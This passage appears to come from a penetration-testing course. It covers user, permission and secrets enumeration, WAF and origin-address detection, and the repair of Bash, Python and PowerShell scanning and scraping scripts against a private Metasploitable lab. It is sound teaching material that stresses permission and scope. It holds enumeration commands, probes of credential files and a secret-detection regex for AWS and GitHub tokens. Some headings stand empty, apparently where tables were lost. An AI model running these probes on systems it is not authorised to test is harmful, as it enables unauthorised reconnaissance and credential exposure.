RID 0xbb8 is 3000 in decimal. Add -P and the same run reports the password policy, with a minimum length of 5 and an account lockout threshold of None. Keep that in mind: it decides how risky any password test would be. On Windows versions after 2000, Nmap's documentation says these calls need at least a guest-level account, so the fix is to restrict anonymous access and keep the Guest account disabled.

Locally, it is one command. On Metasploitable's console, cut -d: -f1,3,7 /etc/passwd prints each account's name, numeric ID and login shell. Rapid7's guide shows the file's first lines (root:x:0:0:root:/root:/bin/bash), and that file is world-readable by design. On Windows, the equivalents are net user and PowerShell's Get-LocalUser.

Simple Network Management Protocol (SNMP) can give users away as well. A device's Management Information Base (MIB) is the tree of values it publishes. On an old Windows host with a guessable community string, Nmap's snmp-win32-users script reads the account list straight out of it. Published scans do not show SNMP open on your target, so that one is for recognition only.

Line 5: permission enumeration, where N/A does not mean no

enum4linux printed Writing: N/A for tmp, and Mara wrote "not writable". Its help text explains the gap: write checks happen only in its aggressive mode. N/A means the tool did not try. Rapid7's guide describes tmp as a writable share, so her note was false. Testing write access changes something on the target, which on a client needs explicit permission in the ROE. In a report, the accurate entry is "listing confirmed; write access not tested".

Permission enumeration asks who can do what, and every system answers in its own vocabulary.

On Metasploitable's console, run id and ls -l /etc/passwd /etc/shadow. The first shows every group your account belongs to; read that list slowly, because a group can carry more than its name suggests. The second shows why account names are public while password hashes are not. Defenders rarely see local commands like these unless endpoint monitoring records them, so the control that matters is least privilege, reviewed on a schedule.

Line 6: secrets enumeration by shape and by place

Mara searched one page for one word. Secrets enumeration looks for four kinds of credential the exam names, and each has its own shape and favorite hiding places. A secret rarely announces itself as "password", and web pages are seldom where it lives.

A single word misses most of this. Here is a fictional deployment file with the secrets replaced by placeholders, and the two searches run against it:

DB_HOST=db1.example.com
DB_PASSWORD=[secret removed]
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=[secret removed]
MAP_API_KEY = "[key removed]"
GITHUB_TOKEN=ghp_[token removed]
TIMEOUT=30

grep -ni password deploy.env                    (1 hit)
grep -nEi 'AKIA[0-9A-Z]{16}|ghp_|(pass|secret|api_?key|token)[a-z_]*[[:space:]]*[=:]' deploy.env    (5 hits)

Tools such as TruffleHog (Lesson 11) go further: it classifies over 800 secret types and can report which ones it verified as live. That second feature deserves a pause. Checking a credential against its provider is using it, so it needs the same written permission as any other use.

In your lab, the robots.txt you read earlier pointed at config.inc, and Rapid7's guide says that file holds unencrypted database credentials. You can prove the exposure without putting a password into your notes, by asking for headers only:

curl -sI 192.168.56.102/mutillidae/config.inc
curl -sI 192.168.56.102/dvwa/login.php | grep -i set-cookie

A 200 status with a Content-Length on the first shows the file is served to anyone. The second shows how the session cookie is set: look for the Secure and HttpOnly attributes, and note whether they are missing.

That habit carries straight to client work: prove reachability, redact the value, record where and when you saw it, and escalate a live secret the same day, as Lesson 6 described. ATT&CK calls this family Unsecured Credentials (T1552, with T1552.001 for files).

Defenders can alert on reads of sensitive files, and cloud audit logs show any use of a key. The fixes are a secrets manager, short-lived credentials, secret scanning in the build pipeline, and rotation of anything exposed, because deleting it from the file does not undo the exposure.

Bottom line: a secret is evidence, and it stays evidence. Finding it is the test; using it is a separate act that needs its own written permission.

Line 7: web application firewall enumeration and the origin address

Nmap's http-waf-detect printed nothing, and on your lab that happens to be correct, since nothing filters Metasploitable's web server. Run it and see: sudo nmap --script http-waf-detect -p 80 192.168.56.102. The script sends a normal request, then requests holding malicious-looking strings, and compares the replies. Its own documentation warns that it cannot detect products that do not alter traffic. So silence means the replies did not change. It does not mean no filter exists, and on a client the difference matters.

A web application firewall (WAF) usually sits in front of a site as a reverse proxy, so its clues are in DNS and HTTP. You met the first in the fictional zone: www.example.com is a CNAME into a provider. Others are response headers such as Cloudflare's documented Cf-Ray, cookies set by the product, branded block pages, and a status that changes to 403 only when a request looks hostile:

HTTP/2 403
cf-ray: [ray id removed]
content-type: text/html

The purpose-built tool is wafw00f. It sends a normal request first and identifies the WAF from the reply if it can; failing that, it sends potentially malicious requests and reasons from how they are treated. That second stage means it needs ROE approval. It also needs a full URL and assumes HTTPS without a scheme, which your lab's plain web server does not speak, so NSE is the better fit here. Its report looks like this, on a fictional site:

[*] Checking https://www.example.com
[+] The site https://www.example.com is behind Cloudflare (Cloudflare Inc.) WAF.
[~] Number of requests: 2

[*] Checking https://portal.example.com
[+] Generic Detection results:
[-] No WAF detected by the generic detection
[~] Number of requests: 7

Testers enumerate WAFs for two reasons. A filter explains odd results, such as a scan full of 403s, that would otherwise be misread as real behavior. And it raises the exam's specific question: where is the origin address, the real server the WAF forwards to? A WAF protects only the traffic that passes through it. If the origin answers direct connections, requests can skip the product entirely. In 2015, Vissers and colleagues tested 17,877 sites behind cloud security providers and found that 71.5% exposed their origin through at least one of eight routes. Subdomains and historical DNS records each exposed more than 40%.

Read the fictional zone again. ftp.example.com and the SPF record both give 198.51.100.7, while www goes through the WAF. That address is a candidate. Record it, with the two records as evidence.

Sending it traffic to confirm the theory goes around a control the client paid for, and it may not even be in your scope, so ask first. This lesson stops at identification: recognizing the exposure, reporting it and knowing the fix.

The paper and Cloudflare's own guidance agree on the first fix: a firewall at the origin that accepts connections only from the WAF's published ranges, plus a new address after onboarding. Cloudflare adds authenticated origin pulls or a tunnel with no public address at all, and notes that an allowlist alone is not proof against spoofing.

The corrected notes, and attack path mapping

Here are Mara's notes again, rewritten from the evidence.

That is no longer a list of closed doors. Attack path mapping connects enumeration results into possible routes from where you stand to what the client cares about, so that the next phase tests the links that matter instead of everything. Each result becomes a node, and each possible move between results an edge. Here is a fictional map for a fictional client, whose ROE names a payroll database as a high-value asset:

Every row is a question, and none of it has been done. That is what makes the map useful: the client can see why a low-severity share listing matters, and you can see where to ask for permission. In Active Directory, BloodHound builds this kind of graph automatically, using graph theory to reveal relationships nobody intended (Lesson 10). Lesson 14 turns a map like this into a prioritized plan.

Bottom line: a finding that looks minor alone can be one link in a route to something important. Map it before you rate it.

The whole family at a glance

What the exam asks, and the pairs people confuse

How enumeration findings are reported

Most enumeration output is supporting evidence, and some of it is a finding in its own right. Here is the entry for the worst line in your lab, written as you would for a client.

• Title: NFS export gives any host read access to the server's entire file system.
• Severity: High. No credentials are needed and the export covers everything on the host, including configuration files and credential stores. It is not rated Critical because the attacker needs a position on the internal network, and write access was not tested under the ROE.
• Evidence: showmount -e 192.168.56.102 on the stated date, from 192.168.56.101, returned / *. Export not mounted; no files read.
• Root cause: the server's export configuration publishes the root directory to all clients, and no firewall limits ports 111 and 2049.
• Remediation: remove the export of /; export only the directories needed, to named clients, with root squashing on; firewall the NFS ports to those clients; confirm that showmount -e no longer shows / or a star.

As starting judgments that the client's context can change: an unrestricted zone transfer is usually Medium, more if it reveals internal names. Anonymous user listing and SMTP user enumeration are Medium or Low, rising with no account lockout. A robots.txt entry is Informational until the listed path turns out to be reachable, when it takes the severity of what it exposes. An exposed origin takes its severity from what the WAF was protecting.

A live credential is reported through the escalation path the same day, whatever else happens. Lesson 14 explains how scoring systems formalize these judgments.

Keep unknowns visible too: "write access not tested" and "origin candidate not confirmed, per ROE" belong in the report's limitations.

Common misconceptions

• "No output means nothing is there." A tool's silence can mean it asked the wrong server, lacked the word, could not negotiate a version or did not test. Check what was actually asked.
• "robots.txt protects the paths it lists." It asks polite crawlers to stay away and advertises the paths to everyone else. RFC 9309 says it is not access authorization.
• "A 252 reply to VRFY means the server cannot verify anyone." On Postfix, a name that fails the recipient check gets 550, so a 252 plus a 550 for a control name lists accounts.
• "A WAF makes the application safe." It filters only traffic that passes through it. An origin that answers directly can be reached without it.
• "Finding a credential entitles you to try it." Using it is a separate act that needs written permission, and that includes automatic verification by a scanner.

The takeaway

• dig @server name type asks that server; without the @, dig asks your default resolver, so a timeout there says nothing about the target.
• A zone transfer (AXFR) copies a whole zone between SOA records; BIND allowed it by default until 9.20, and the fix is allow-transfer limited to named secondaries.
• A wordlist finds only what it lists, and a crawler only what is linked: Kali's common.txt, about 4,600 entries long, lacks dvwa and mutillidae, and the lab's home page does not link /phpinfo.php.
• robots.txt lists paths crawlers should skip and is not access control; a sitemap lists pages the owner wants found; a plugin's readme can name its exact version.
• A failed SMB negotiation can be the client's floor: Samba's default is SMB2_02, Metasploitable's 3.0.20 speaks NT1, and Kali enables legacy dialects by default since 2021.4.
• showmount -e printing / * means the root of the file system is exported to any client; the finding is the list, and no mount is needed to report it.
• On Postfix, VRFY answers 252 for names that pass the recipient check, 550 for unknown names and 502 when disabled, so always send a control name.
• Secrets have shapes and habitats: AKIA and ASIA keys, ghp_ tokens, session cookies in logs and URLs. Prove reachability with headers, redact the value, and never use it without written permission.
• No WAF signal is not proof of no WAF, and in a 2015 study 71.5% of 17,877 protected sites exposed their origin; the first fix is an origin firewall that accepts only the WAF's address ranges.

Sources

1. Rapid7. (n.d.). Metasploitable 2 exploitability guide (used only for the services list, the rpcinfo, showmount and smbclient listings, and the file descriptions). docs.rapid7.com. Published lab records used only for expected output (secondary sources): Nmap service scan; Nmap UDP scan; Nikto scan; enum4linux run; SMTP banner and VRFY reply
2. OWASP. (n.d.). Web security testing guide: Review webserver metafiles for information leakage; Attack surface identification; Testing for account enumeration and guessable user account. metafiles; attack surface; account enumeration
3. Internet Systems Consortium. (n.d.). BIND 9 administrator reference manual: dig and nslookup manual pages; allow-transfer and version options; and Notes for BIND 9.20.0. manual pages; reference; issue 4728. Lewis, E., and Hoenes, A. (2010). DNS zone transfer protocol (AXFR) (RFC 5936); Hoffman, P., and Fujiwara, K. (2024). DNS terminology (RFC 9499); Abley, J., Gudmundsson, O., Majkowski, M., and Hunt, E. (2019). Providing minimal-sized responses to DNS queries that have QTYPE=ANY (RFC 8482). RFC 5936; RFC 9499; RFC 8482
4. Samba Team. (n.d.). smb.conf(5) (client min protocol; restrict anonymous) and smbclient(1). smb.conf; smbclient. OffSec. (2025). Samba configuration; and Kali tool pages for enum4linux, gobuster and amass. kali.org (Samba); enum4linux; amass. Lyon, G. (n.d.). NSE documentation: smb-enum-shares; smb-enum-users; http-waf-detect; snmp-win32-users
5. Klensin, J. (2008). Simple mail transfer protocol (RFC 5321), sections 3.5 and 7.3. rfc-editor.org. Venema, W. (n.d.). Postfix configuration parameters (disable_vrfy_command), and vrfy_cmd in the source file smtpd.c. postfix.org; smtpd.c
6. Koster, M., Illyes, G., Zeller, H., and Sassman, L. (2022). Robots exclusion protocol (RFC 9309). rfc-editor.org. Sitemaps.org. (n.d.). Sitemaps XML format. sitemaps.org. Tool documentation: Gobuster; ZAP Spider; WPScan; Amass; theHarvester; Hunter; DNSdumpster
7. Vissers, T., Van Goethem, T., Joosen, W., and Nikiforakis, N. (2015). Maneuvering around clouds: Bypassing cloud-based security providers. Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security, 1530-1541. securitee.org (PDF). Cloudflare. (n.d.). Protect your origin server and Cloudflare HTTP headers. origin; headers. Enable Security. (n.d.). WAFW00F. github.com
8. Amazon Web Services. (n.d.). IAM identifiers (unique ID prefixes). docs.aws.amazon.com. GitHub. (n.d.). About authentication to GitHub (token formats). docs.github.com. OWASP. (n.d.). Session management cheat sheet. cheatsheetseries.owasp.org. MITRE. (n.d.). ATT&CK: T1552.001; T1135; T1087; T1595.003

Nine lines, one open port, and no output

Metasploitable's port 445 is open; you proved that in Lesson 7. So when a colleague's nine-line script, meant to list every host answering on 445, runs against your lab and prints nothing, the script is what's broken. Here it is, with a hosts.txt holding the single line 192.168.56.102.

#!/bin/bash
# smbcheck.sh: which hosts answer on port 445?
for host in $(cat hosts.txt)
do
    result=$(nc -z -w 1 $host 445)
    if [ "$result" == "open" ]; then
        echo "$host has SMB"
    fi
done

Take a minute before reading on. What goes in, what repeats, what decides, and what comes out? Which line would you change?

That is the skill this objective tests. Its verb is "modify", not "write", and the verb tells you what to expect: a scenario, a short script and a result that misses the goal, with your job being to find the line to change. So this lesson works through three broken or limited scripts, one each in Bash, Python and PowerShell, all against your own lab, and only then lines the constructs up in one table.

Exam objectives: 2.3 (modifying scripts for information gathering and data manipulation in Bash, Python and PowerShell; logic constructs, meaning loops, conditionals, and Boolean, string and arithmetic operators; use of libraries, functions and classes).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A script changes nothing about that, except to make a mistake faster: one typo in a loop can touch 254 addresses before you look up. Every script here runs against 192.168.56.x or 127.0.0.1, and each one you keep gets a scope check, which you will add yourself.

Two habits come before any code. Read a script you inherit before you run it, because it runs with your rights. And keep the rate inside the ROE: a client may cap probes per second, and a loop has no idea.

Everything runs on Kali with the NAT adapter not attached. Bash and python3 are there, and Kali's default image includes PowerShell 7 as pwsh. That package is built for amd64 only, so on an Arm VM, read the PowerShell section and trace it by hand. Make a working folder with mkdir ~/lab9 && cd ~/lab9.

Reading Bash: loops and exit status

Apply the four questions. In: a file of addresses. Repeats: the for loop, which runs its body once for each word that $(cat hosts.txt) produces. Decides: the if. Out: one echo per hit. That shape is sound, so look at what the decision tests. It compares $result with the word open. Now run the connection by hand:

$ nc -z -w 1 192.168.56.102 445
$ echo $?
0
$ nc -z -w 1 192.168.56.102 8888
$ echo $?
1

The -z option is zero-I/O mode: connect, send nothing, close. -w 1 gives up after a second. Without a verbose flag, nc prints nothing, so $(...) captures an empty string and the comparison can never be true. The answer comes back another way, as the exit status, the number every program returns when it ends, which Bash keeps in $?. Bash's manual is explicit that zero indicates success and anything else failure. That is backward from most languages, where zero means false, and it makes sense once you see that a program has one way to succeed and many ways to fail.

Bash's if was built for this. It runs a command and branches on the exit status; the square brackets are just one such command. So the modification is one line, and the variable goes away:

#!/bin/bash
# smbcheck.sh: which hosts answer on port 445?
for host in $(cat hosts.txt)
do
    if nc -z -w 1 "$host" 445; then
        echo "$host has SMB"
    fi
done

Run it and you get 192.168.56.102 has SMB. The double quotes around "$host" stop a stray space or star in the variable from being split or expanded. You will also meet while read -r host loops, the tidier way to read a file line by line. They carry one trap: a program inside the loop, and some versions of nc are among them, can read the loop's input and swallow the rest of your list. If a script stops after the first host, add < /dev/null to that program.

The point: a script can be neatly structured and still test the wrong thing. Run each command once by hand and ask what it produces, both on its output and in its exit status.

Conditionals, Boolean and string operators: adding a scope check

The repaired script has two limits that matter on a real job. Its port is fixed, and it will connect to anything in the file. If a stray address slips into a client's list, you have just tested someone else's system. So take the inputs from the command line and refuse anything outside your scope. This is portcheck.sh:

#!/bin/bash
# portcheck.sh FILE PORT: which in-scope hosts in FILE answer on PORT?
file=$1
port=$2
if [[ -z "$file" || -z "$port" ]]; then
    echo "usage: portcheck.sh FILE PORT"
    exit 1
fi
checked=0
open=0
for host in $(cat "$file")
do
    if [[ "$host" != 192.168.56.* && "$host" != "127.0.0.1" ]]; then
        echo "REFUSED $host: outside scope"
        continue
    fi
    checked=$((checked + 1))
    if nc -z -w 1 "$host" "$port"; then
        echo "$host,$port,open"
        open=$((open + 1))
    fi
    sleep 0.5
done
if (( checked > 0 )); then
    echo "open on $open of $checked hosts ($((open * 100 / checked))%)"
fi

Now change one input. Put three lines in hosts2.txt: 192.168.56.102, 203.0.113.5 (a documentation address standing in for a stray) and 192.168.56.101. On port 445:

$ bash portcheck.sh hosts2.txt 445
192.168.56.102,445,open
REFUSED 203.0.113.5: outside scope
open on 1 of 2 hosts (50%)

The stray address never received a packet. Read how that happened, because each piece is an exam term.

• Command-line arguments. $1 and $2 are what you typed after the script's name at the command-line interface (CLI). Inputs that come from the CLI let you reuse a script without editing it.
• Conditionals. if ... then ... fi chooses; continue jumps to the next pass of the loop; exit 1 ends the script and reports failure through the same exit status mechanism.
• Boolean operators. Inside [[ ]], || means or and && means and. Both conditions must hold before the address is refused. They work between commands too: cmd1 && cmd2 runs the second only if the first succeeded, and cmd1 || cmd2 only if it failed. A single | is something else, a pipe.
• String operators. -z is true for an empty string and -n for a non-empty one. Inside [[ ]], == and != treat an unquoted right side as a pattern, so 192.168.56.* matches the whole lab. Put quotes around it and the star becomes a literal star, which is why "127.0.0.1" can be quoted and the pattern cannot. =~ matches a regular expression.

Bash can also cut strings without any outside tool. With ip=192.168.56.102, ${ip%.*} gives 192.168.56 by removing the shortest match from the end, ${ip##*.} gives 102 by removing the longest match from the start, and ${#ip} gives the length, 14. Those are handy when a loop needs the network prefix or the last octet.

Arithmetic operators: counting, percentages and pacing

Three lines of that script do arithmetic. Bash does it inside $(( )), and only with integers: the fraction is thrown away. So the order of operations can flip your answer.

$ echo $((1 / 3 * 100))
0
$ echo $((1 * 100 / 3))
33

The first divides first, gets 0, and stays there. That is why the script multiplies before it divides. The same operators give you subnet sizes, since $(( 2 ** (32 - 24) - 2 )) prints 254, and progress lines, since (( checked % 50 == 0 )) is true on every fiftieth pass (% is the remainder after division).

Arithmetic also keeps you honest about the ROE. Suppose it caps you at two connections per second, and you have 254 hosts and three ports. That is 254 x 3 = 762 connections, and at the 0.5-second pause in the loop, 381 seconds at the very least. Hosts that time out add a second each. Do this sum before you start, so that "the scan will finish by noon" is a calculation rather than a hope.

The other two languages differ in one way worth remembering. In Python, 7 / 2 is 3.5, 7 // 2 is 3 and 2 ** 8 is 256. In PowerShell, 7 / 2 is also 3.5, 7 % 2 is 1, and powers come from [math]::Pow(2, 8).

Data manipulation: grep, awk, cut and sort on a saved scan

So far the scripts gather information: they touch the network. Data manipulation, the objective's other half, touches nothing, and it pays back fastest. Scanning again to answer a new question is slow and noisy, so ask the file you already have. Here is a small scan in Nmap's grepable format, with fictional hosts on your lab's range. Nmap's documentation calls the format deprecated, and it survives because it suits these tools.

# Nmap scan as: nmap -sS -p 22,445,3389 -oG sample.gnmap 192.168.56.0/24
Host: 192.168.56.101 ()	Status: Up
Host: 192.168.56.101 ()	Ports: 22/open/tcp//ssh///, 445/closed/tcp//microsoft-ds///, 3389/closed/tcp//ms-wbt-server///
Host: 192.168.56.102 ()	Status: Up
Host: 192.168.56.102 ()	Ports: 22/open/tcp//ssh///, 445/open/tcp//microsoft-ds///, 3389/closed/tcp//ms-wbt-server///
Host: 192.168.56.103 ()	Status: Up
Host: 192.168.56.103 ()	Ports: 22/closed/tcp//ssh///, 445/filtered/tcp//microsoft-ds///, 3389/open/tcp//ms-wbt-server///

Three questions, three pipelines. Each | feeds one tool's output into the next tool's input.

$ grep "445/open" sample.gnmap | awk '{print $2}'
192.168.56.102

$ grep -c "22/open" sample.gnmap
2

$ grep -o '[0-9]*/open/tcp//[^/]*' sample.gnmap | cut -d/ -f1,5 | sort | uniq -c | sort -rn
      2 22/ssh
      1 445/microsoft-ds
      1 3389/ms-wbt-server

Read the last one piece by piece. grep -o prints only the matching text, one open port per line. cut -d/ -f1,5 splits each line on slashes and keeps fields 1 and 5, the port and the service. sort | uniq -c groups identical lines and counts them, because uniq only spots neighbors. sort -rn puts the biggest count first. Now you know which services dominate, without another packet.

Two traps catch people here. The first is matching too loosely. A UDP scan prints states such as 53/open|filtered/udp, and you learned in Lesson 7 that open|filtered is not open, yet grep open matches it. Search for /open/, slashes included. The second is the difference between >, which overwrites a file, and >>, which appends. Inside a loop, a single > leaves you with only the last result. To save results as comma-separated values (CSV), the plain text format every spreadsheet reads, write the header once and append after it:

echo "host,port" > open.csv
grep "445/open" sample.gnmap | awk '{print $2 ",445"}' >> open.csv

Python: the HTML scraper promised in Lesson 6

HTML scraping, or web scraping, means fetching a page and pulling out what you need: links, names, addresses. Lesson 6 said you would modify a scraper, and here is the starting point. It uses only Python's standard library, the modules that ship with the language, so it runs with your NAT adapter unplugged. Save it as links.py:

#!/usr/bin/env python3
"""links.py: list the links on one page of the lab's web server."""
import urllib.request
from html.parser import HTMLParser

SCHEME = "http"
HOST = "192.168.56.102"
PATH = "/"


class LinkParser(HTMLParser):
    """Collect the href of every anchor tag it is fed."""

    def __init__(self):
        super().__init__()
        self.links = []

    def handle_starttag(self, tag, attrs):
        if tag == "a":
            for name, value in attrs:
                if name == "href":
                    self.links.append(value)


def fetch(url):
    """Return the text of one web page."""
    with urllib.request.urlopen(url, timeout=5) as reply:
        return reply.read().decode("utf-8", errors="replace")


parser = LinkParser()
parser.feed(fetch(f"{SCHEME}://{HOST}{PATH}"))
for link in parser.links:
    print(link)

$ python3 links.py
/twiki/
/phpMyAdmin/
/mutillidae/
/dvwa/
/dav/

Four things in it are named on the exam, and it helps to see why each is there.

Python marks blocks with a colon and indentation, where Bash uses words like do and fi and PowerShell uses braces. A line indented wrongly is a logic error, not only a style problem. The f"..." string fills in the braces, which is why the scheme and host are separate variables you can change.

Modifying the scraper: arguments, scope, absolute links and email addresses

Four small changes turn that into something you could use on a job. Each one is the kind of change this objective is about.

The class and fetch stay exactly as they were. Change the top of the file and replace the last four lines. This is now scrape.py:

#!/usr/bin/env python3
"""scrape.py TARGET: links and email addresses from one in-scope page."""
import ipaddress
import re
import sys
import urllib.request
from html.parser import HTMLParser
from urllib.parse import urljoin, urlsplit

SCHEME = "http"
SCOPE = [ipaddress.ip_network("192.168.56.0/24"),
         ipaddress.ip_network("127.0.0.1/32")]
EMAIL = re.compile(r"[\w.+-]+@[\w-]+\.[\w.-]+")

# ... class LinkParser and def fetch, unchanged ...


def in_scope(host):
    """True only if host is an IP address inside SCOPE."""
    try:
        address = ipaddress.ip_address(host)
    except ValueError:
        return False
    return any(address in network for network in SCOPE)


def find_emails(text):
    """Return each address once, including ones written with [at]."""
    tidy = text.replace(" [at] ", "@").replace("[at]", "@")
    return sorted(set(EMAIL.findall(tidy)))


if len(sys.argv) != 2:
    sys.exit("usage: scrape.py HOST[:PORT]")
target = sys.argv[1]
host = target.split(":")[0]
if not in_scope(host):
    sys.exit(f"REFUSED {host}: outside scope")

base = f"{SCHEME}://{target}/"
page = fetch(base)
parser = LinkParser()
parser.feed(page)

for link in sorted(set(parser.links)):
    full = urljoin(base, link)
    if urlsplit(full).hostname == host:
        print("link", urlsplit(full).path)
for address in find_emails(page):
    print("email", address)

To test the email part you need a page with addresses on it, so build one and serve it on loopback only. Save this fictional page as team/index.html, then run python3 -m http.server 8000 --bind 127.0.0.1 --directory team in a second terminal.

<html><body>
<h1>Our team (fictional)</h1>
<p>Jane Doe, finance: jane.doe@example.com</p>
<p>Sam Lee, IT: sam.lee [at] example.com</p>
<a href="/careers/">Careers</a> <a href="/careers/">Jobs</a>
<a href="https://www.example.net/partner">Our partner</a>
</body></html>

$ python3 scrape.py 127.0.0.1:8000
link /careers/
email jane.doe@example.com
email sam.lee@example.com

$ python3 scrape.py 203.0.113.9
REFUSED 203.0.113.9: outside scope

Look at what each change did. The two links to /careers/ became one, because set keeps one of each. The partner link vanished, because its hostname differs from the target's: a crawler built on this will not wander off into someone else's domain.

Sam's address was found only because .replace tidied the disguised form first; the regular expression alone misses it, and people write addresses that way to dodge scrapers like yours. And in_scope turns a bad argument into a refusal, while try and except turn a hostname, which ip_address cannot parse, into False rather than a crash. Failing closed is the right default for a scope check.

Your requests leave a mark, too. By default urllib announces itself in the User-Agent header as Python-urllib plus a version number, so a defender reading the web log can see exactly what ran. On an engagement, the ROE may ask you to set a header that names the test, so analysts can attribute your traffic quickly.

The point: modification is usually small. Four changes, none longer than a few lines, gave this script arguments, scope, deduplication and a new kind of output, and its structure stayed the same.

One changed input: Juice Shop returns nothing

Point the same script at your other web target, with no code changed:

$ python3 scrape.py 127.0.0.1:3000
$

No links and no error. In a browser, that same address shows a full shop with menus and products. Count the anchor tags in what the server actually sends:

$ curl -s 127.0.0.1:3000/ | grep -c '<a '
0

Juice Shop is a single-page application, and the HTML it sends is nearly empty. Its source has one element in the body, app-root, and JavaScript fills that in after the page loads. urlopen fetches the HTML and stops. It does not run JavaScript, so the scraper was truthful: there are no anchor tags in what it read. A wrong conclusion here would be "this site has no pages". This is Lesson 8's lesson in another form: the tool answered the question it was asked.

The links live in the script files, so change what the parser collects and go read those files. A few lines in the class change, and a few more go at the end:

# in handle_starttag: collect script files as well as anchors
    def handle_starttag(self, tag, attrs):
        wanted = {"a": "href", "script": "src"}
        if tag in wanted:
            for name, value in attrs:
                if name == wanted[tag]:
                    self.links.append(value)

# at the end of the file: read each script and list its API routes
ROUTE = re.compile(r"/(?:rest|api)/[\w/-]+")
for link in sorted(set(parser.links)):
    if link.endswith(".js"):
        script = fetch(urljoin(base, link))
        for route in sorted(set(ROUTE.findall(script))):
            print("route", route)

Expect something like the lines below; the exact file names and routes depend on your Juice Shop version. The project's front-end source calls routes such as these, so the bundle must contain them.

link /main.js
route /api/Users
route /rest/user/login
route /rest/user/reset-password

That is enumeration from reading, with no guessing and only a few requests. It shows why client-side code cannot hide a route, and so why every route needs its own check on the server.

Your other options, when a page really needs a browser, are ZAP's AJAX Spider from Lesson 8 or a browser automation library.

And when HTML is merely untidy, not empty, many testers prefer the third-party Beautiful Soup library, whose soup.find_all("a") replaces the whole class. It is not in the standard library, and Kali asks you to prefer its apt packages or pipx over plain pip, so check before you depend on it in an offline lab.

Reading Nmap XML with a library

Lesson 7 told you that XML is the Nmap output format meant for programs. Now you can see why. A pipeline on grepable text depends on the columns staying where they are. A parser reads named fields. This script turns the lab-full.xml you saved in Lesson 7 into a CSV file:

#!/usr/bin/env python3
"""scan2csv.py FILE.xml: write open ports from an Nmap XML file to open.csv."""
import csv
import sys
import xml.etree.ElementTree as ET

rows = []
for host in ET.parse(sys.argv[1]).getroot().iter("host"):
    address = host.find("address").get("addr")
    for port in host.iter("port"):
        if port.find("state").get("state") == "open":
            service = port.find("service")
            name = service.get("name") if service is not None else ""
            rows.append([address, port.get("portid"), name])

with open("open.csv", "w", newline="") as out:
    writer = csv.writer(out)
    writer.writerow(["host", "port", "service"])
    writer.writerows(rows)
print(f"{len(rows)} open ports written to open.csv")

$ python3 scan2csv.py lab-full.xml
30 open ports written to open.csv
$ head -3 open.csv
host,port,service
192.168.56.102,21,ftp
192.168.56.102,22,ssh

Your count may differ. Notice the comparison == "open": because state is a separate field, open|filtered cannot sneak in, which is the trap from the grepable pipeline solved by structure. csv.writer handles quoting, so a service name containing a comma would not break a row, as it would with echo. Reach for string splitting when the job is one line and the format is fixed. Reach for a library when you will rerun the script or hand it to someone else.

Python's idea of truth catches people in one specific way. You want rows for two ports, so you write this:

for port in ["22", "445", "3389"]:
    if port == "445" or "3389":
        print("match", port)

It prints all three. or joins two whole conditions, and the second one is just the string "3389", and a non-empty string counts as true, so the test always passes. Write port == "445" or port == "3389", or better, port in ("445", "3389").

PowerShell: seven lines that print nothing and leave a file behind

Some clients' jump boxes offer PowerShell and nothing else, so you need to read it. Start pwsh and put this fictional export in scan.csv, one of its rows a stray address:

host,port,state,service
192.168.56.101,22,open,ssh
192.168.56.101,445,closed,microsoft-ds
192.168.56.102,445,open,microsoft-ds
192.168.56.102,3389,closed,ms-wbt-server
192.168.56.103,445,filtered,microsoft-ds
192.168.56.103,3389,open,ms-wbt-server
203.0.113.9,8080,open,http-proxy

A colleague who mostly writes Bash and Python wrote this report.ps1 to list open ports above 1024. It prints nothing and raises no error.

$rows = Import-Csv ./scan.csv
foreach ($row in $rows) {
    $target = $row.host
    if ($row.state = 'open' -and $row.port > 1024) {
        Write-Output "$target has $row.service open"
    }
}

Afterward, ls shows a new file named 1024 containing the word True. Three habits from other languages each do something quietly different here.

PowerShell's comparison operators are words with a hyphen: -eq -ne -gt -lt -ge -le, then -like for wildcards, -match for regular expressions, and -and -or -not for Boolean logic. String comparisons ignore case unless you add a c, as in -ceq. A == is not an operator at all; it produces a confusing error saying the term '=' is not recognized. Fix the three problems and run again.

foreach ($row in $rows) {
    if ($row.state -eq 'open' -and $row.port -gt 1024) {
        Write-Output "$($row.host) has $($row.service) open on $($row.port)"
    }
}

192.168.56.101 has ssh open on 22
192.168.56.102 has microsoft-ds open on 445
192.168.56.103 has ms-wbt-server open on 3389
203.0.113.9 has http-proxy open on 8080

It runs now, and it is still wrong: 22 and 445 are not above 1024. Everything Import-Csv reads is a string. Microsoft's documentation explains that the right side of a comparison is converted to the type of the left side, so this compares text, and as text "445" sorts after "1024". Change one thing, cast the field to a number with [int]$row.port -gt 1024, and the result flips to the two correct rows. The last job is the scope, with the same pattern idea as Bash:

Import-Csv ./scan.csv |
    Where-Object { $_.state -eq 'open' -and [int]$_.port -gt 1024 -and $_.host -like '192.168.56.*' } |
    Export-Csv ./open-high.csv -NoTypeInformation

This is PowerShell's real strength. Its pipeline carries objects with named properties, not text, so $_.port needs no cut or awk. Where-Object filters, Group-Object counts and Export-Csv writes the file. One more trap: do not name a variable $host, even though it is the obvious name. It is a built-in, and assigning to it fails with an error saying it cannot overwrite a read-only variable. That is why the script above says $target.

PowerShell has functions and classes too, and it reaches the whole .NET class library with square brackets. This pair checks a port and holds a result, and it runs from Kali's pwsh against your lab. Note how the function refuses before it connects.

function Test-LabPort {
    param([string]$Target, [int]$Port)
    if ($Target -notlike '192.168.56.*' -and $Target -ne '127.0.0.1') {
        throw "REFUSED $($Target): outside scope"
    }
    $client = [System.Net.Sockets.TcpClient]::new()
    try {
        return $client.ConnectAsync($Target, $Port).Wait(1000)
    } catch {
        return $false
    } finally {
        $client.Dispose()
    }
}

class Finding {
    [string]$Target
    [int]$Port
    [string] ToCsvLine() { return "$($this.Target),$($this.Port),open" }
}

PS> Test-LabPort -Target 192.168.56.102 -Port 445
True
PS> Test-LabPort -Target 192.168.56.102 -Port 8888
False

For information gathering, recent PowerShell can replace much of the Python scraper in one line, since (Invoke-WebRequest -Uri 192.168.56.102).Links.href prints the same five links. Test-Connection has a -TcpPort option in PowerShell 7 as well. On Windows, Get-LocalUser and Get-SmbShare from Lesson 8 return objects you can pipe in the same way.

The point: most script bugs that survive a first run come from another language's habit. Before you trust the output, ask what = and > mean in this language, and whether that field is a number or text.

The same idea in three languages

